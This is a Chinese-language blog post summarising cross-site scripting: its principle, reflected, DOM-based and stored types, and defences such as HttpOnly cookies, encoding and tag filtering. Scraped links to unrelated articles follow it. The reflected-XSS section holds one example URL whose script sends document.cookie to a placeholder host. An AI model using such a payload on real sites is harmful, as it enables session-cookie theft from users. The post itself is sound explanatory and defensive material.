XSS攻击总结
本文由 http://www.cnblogs.com/phpstudy2015-6/p/6767032.html 整理总结而来
XSS又称CSS(cross site script),译为跨站脚本攻击,是web程序中常见的漏洞。
原理:
攻击者向有XSS漏洞的网站输入恶意代码(耗时间),当用户浏览该网站时(被动),此代码自动执行,从而攻击。
多用于盗取cookie、破坏页面结构、重定向。
优点:
几乎所有网站都有
缺点:
1.耗时间
2.有一定的几率不成功
3.没有软件来实现自动化攻击
4.属于客户端的攻击方式
5.手法被动
6.对website有http-only、crossdomian.xml没有用(无法获取cookie)
攻击点:
类似于SQL注入攻击,理论上:所有可输入的地方,如果没有对输入数据进行处理,都存在XSS漏洞。
反射型
又称为非持久型,是最常见的XSS,原理是攻击者将注入的数据反映在响应中,因为这输入-->反馈的过程,因此称之为反射。最典型的就是一个包含XSS攻击的链接。
例如: http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>就把cookie偷走了
DOM Based XSS
从效果上来说也能称之为反射型。但其触发条件限制为: 用户可以通过交互修改浏览器的dom
前提是页面通过不安全的方式从document.location或document.URL或document.referer获取数据
注意:
1.恶意程序脚本在任何时候不会嵌入自然状态下的html页面
2.只有在浏览器没有修改URL字符时起作用,因为当url不是从地址栏输入,chrome、firefox等浏览器会自动转换document.url中的字符(例如<、>),一些老旧浏览器,例如IE6,则不会,因此很容易被攻击。
持久型
又称存储型,顾名思义,XSS攻击代码存储于数据库中,而前两种存于内存中,每次当用户打开此网页时便会执行,相比于前两者危害更大,常用语留言板,每次当用户查看留言信息时即触发。
解决方案:
过滤和编码
1.将重要的cookie标记为http only,这样document.cookie就不能获取cookie
2.表单数据规定类型,例如年龄为int、name为字母数字组合
3.对数据进行编码处理
4.移除特殊html标签,例如script、iframe
5.过滤js事件
XSS攻击总结的更多相关文章
- 防御XSS攻击-encode用户输入内容的重要性
一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...
- 防止XSS攻击的方法
什么是XSS? 使用Jsoup来防止XSS攻击 Jsoup官网 Jsoup中文 maven包引入 <dependency> <groupId>org.jsoup</gro ...
- PHP通用的XSS攻击过滤函数,Discuz系统中 防止XSS漏洞攻击,过滤HTML危险标签属性的PHP函数
XSS攻击在最近很是流行,往往在某段代码里一不小心就会被人放上XSS攻击的代码,看到国外有人写上了函数,咱也偷偷懒,悄悄的贴上来... 原文如下: The goal of this function ...
- 前端XSS攻击和防御
xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...
- XSS攻击及防御
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...
- XSS攻击
什么是XSS? http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html XSS攻击及防御? http://blog.csdn. ...
- 文本XSS攻击过滤
在FCK或百度编辑器等常用富文本编辑器中,通常是会被XSS攻击 处理方法: 文本框模拟输入了以下文本 <span style="dispaly:none" onclick=& ...
- XSS攻击的解决方法
在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招“独孤九剑”能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今 ...
- 前端安全之XSS攻击
XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”.有人将XSS攻击分为三种,分别是: 1. Reflected XSS(基于反射 ...
- textarea与XSS攻击
textarea用法 一般是用来接收用户输入,用于提交到服务器端,例如 网站的评论框. 如果此框也用于显示服务器端回传的内容,则有如下两种用法 法1 后台直接插入 <textarea>&l ...
随机推荐
- 【u-boot】u-boot中initf_dm()函数执行流程(转)
前部分设备模型初始化 为了便于阅读,删掉部分代码,只留关键的过程: static int initf_dm(void){ int ret; ret = dm_init_and_scan(t ...
- ABC065D Built[最小生成树]
这题和某道最短路题神似.对于任意点对,将他们连边,不如将他们分别沿$x,y$轴方向上点按顺序连起来,这样不仅可能多连通一些点,也花费更低,所以按照最短路那题的连边方式跑一个kruskal就行了. #i ...
- Python之windows锁屏
简单粗暴,三行代码搞定 from ctypes import * user32 = windll.LoadLibrary('user32.dll') user32.LockWorkStation() ...
- MySQL 临时修改全局变量
1.查询全局变量: SHOW GLOBAL VARIABLES [LIKE '%search key%']; 2.修改全局变量: SET GLOBAL auto_increment_increment ...
- ScrollViewer控件
内容超过空间,出现滚动条. <Grid> <ScrollViewer Margin="5" VerticalScrollBarVisibility="A ...
- Eclips的JDK更换为1.8
1.Window—Preferences—Java—Compiler—右侧面板设置为1.6 2.Window—Preferences—Java—Installed JREs—右侧面板“Add”本地的1 ...
- 前端Web浏览器基于Flash如何实时播放监控视频画面(三)之使用ffmpeg‘推流’
本片文章只是起到抛砖引玉的作用,能从头到尾走通就行,并不做深入研究.为了让文章通俗易懂,尽量使用白话描述. 0x001: 下载ffmpeg 开源免费的推流软件有很多,这里以 ffmpeg 为例.ffm ...
- 项目部署中,tomcat报java.lang.OutOfMemoryError: PermGen space
原因: PermGen space的全称是Permanent Generation space,是指内存的永久保存区域,这块内存主要是被JVM存放Class和Meta信息的,Class在被Loader ...
- TNS-12560: TNS: 协议适配器错误
TNS-12560: TNS: 协议适配器错误 Microsoft Windows [版本 5.2.3790] (C) 版权所有 1985-2003 Microsoft Corp. C:\Docu ...
- 8.2 HTML表单提交
一.form表单 <form>用于向服务器提交数据,比如账号密码 使用method="get" 提交数据 是常用的提交数据的方式 如果form元素没有提供method属 ...